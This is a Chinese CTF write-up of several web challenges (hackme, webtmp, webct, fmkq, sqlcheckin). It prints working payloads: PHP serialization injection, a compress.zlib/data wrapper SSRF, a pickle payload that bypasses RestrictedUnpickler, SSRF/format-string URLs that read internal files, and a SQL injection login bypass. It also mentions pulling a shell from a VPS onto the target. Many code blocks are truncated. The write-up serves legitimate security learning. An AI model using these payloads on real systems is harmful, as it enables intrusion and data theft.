hackme
根目录下的 init.php
文件中
|
但是在 core
目录下的 init.php
中
|
用了两种不同的session处理方式
所以提交一个签名为
|O:4:"info":1:{s:5:"admin";i:1;} |
这样再访问 profile.php
的时候
|
就会触发反序列化,然后进入 core/index.php
中
core/index.php
的源代码
<?php |
不准用 data
协议,并且解析到的host必须是 127.0.0.1
初看还挺像2019年的byteCTF,但是这里用到的是 compress.zlib
协议(学习了)
compress.zlib://data:@127.0.0.1/baidu.com?,ls |
当然也可以用base64的方式
compress.zlib://data:@127.0.0.1/plain;base64, |
之后需要绕过长度来执行命令,脚本就用队友的好了,不能弹shell,只能从vps上下载shell到靶机上
import requests |
webtmp
分析
考点是pickle反序列化,过滤掉了 R 指令码,并且重写了 find_class
:
class RestrictedUnpickler(pickle.Unpickler): |
这就禁止引用除了 __main__
之外的其他module,但是如果通过GLOBAL指令引入的变量,可以看作是原变量的引用。我们在栈上修改它的值,会导致原变量也被修改
于是可以先引入 __main__.secret
这个module,然后把一个 dict 压入栈,内容是 {'name': 'xx', 'category': 'yyy'}
,之后执行 build指令,改写 __main__.secret.name
和 __main__.secret.category
,此时 secret.name
和 secret.category
已经变成我们想要的内容
之后再压入一个正常的 Animal对象,name和category分别是 xx和yyy最后构造的pickle数据如下
b"\x80\x03c__main__\nsecret\n}(Vname\nVxx\nVcategory\nVyyy\nub0c__main__\nAnimal\n)\x81}(S'name'\nS'xx'\nS'category'\nS'yyy'\nub." |
编码为base64提交即可
gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVnh4ClZjYXRlZ29yeQpWeXl5CnViMGNfX21haW5fXwpBbmltYWwKKYF9KFMnbmFtZScKUyd4eCcKUydjYXRlZ29yeScKUyd5eXknCnViLg== |
php-uaf
rddshell |
上传到tmp目录就行了
webct
www.zip
源码泄露(现在好多web题都喜欢这么搞了)
这题主要是对伪造mysql的考察,但是有一个坑点
我们可以设置option
为8,然后就启用MYSQL_OPT_LOCAL_INFILE
了。
之后构造一个POP链就行了,POP链不是很长
|
fmkq
这题估计是很多队伍都比较头疼的了,3月7日那天折腾了一下午直到晚上才有师傅做出来
源代码
|
几个小trick
$head = \
这样拼接之后就是根命名空间- 协议基本都被过滤干净了就只能用http协议
$begin= %s%
- 过滤了
log
,我估计是出题人不想让你去读日志(因为后面发现可以读除了flag之外的任意文件)
之后就扫内网,看到开放了8080端口
这里的坑点就比较多了,首先需要知道vipcode
?head=\&url=http://127.0.0.1:8080/read/file={file.vip.__dict__}%26vipcode=0&begin=%s% |
然后读文件
/?head=\&url=http://127.0.0.1:8080/read/file=/app/base/vip.py%26vipcode=m3O5PGEBMnbX0N8ugWlIoijtFaS9KsqVAQdvZyT1cheCxpwf&begin=%s% |
vip.py
Welcome,dear vip! Here are what you want: |
readfile.py
from .vip import vip |
过滤掉了 fl4g
看到 current_folder_file
是 global 的
所以读一次根目录的文件,让current_folder_file
里面有 fl4g
/?head=\&url=http://localhost:8080/read/file=/{vipfile.__class__.GetName.__globals__[current_folder_file][21]}/flag%26vipcode=m3O5PGEBMnbX0N8ugWlIoijtFaS9KsqVAQdvZyT1cheCxpwf&begin=%s% |
或者这个
http://121.37.179.47:1101/?head=\&begin=%1$s&url=http://127.0.0.1:8080/read/file={vipfile.__class__.__init__.__globals__[__name__][9]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=kWSRgrZO9VjAJzaHsIwqXEtfF5u6GxM0ov74le18hcNnUpd3 |
sqlcheckin
false注入
username='%'1&password='%'1
即可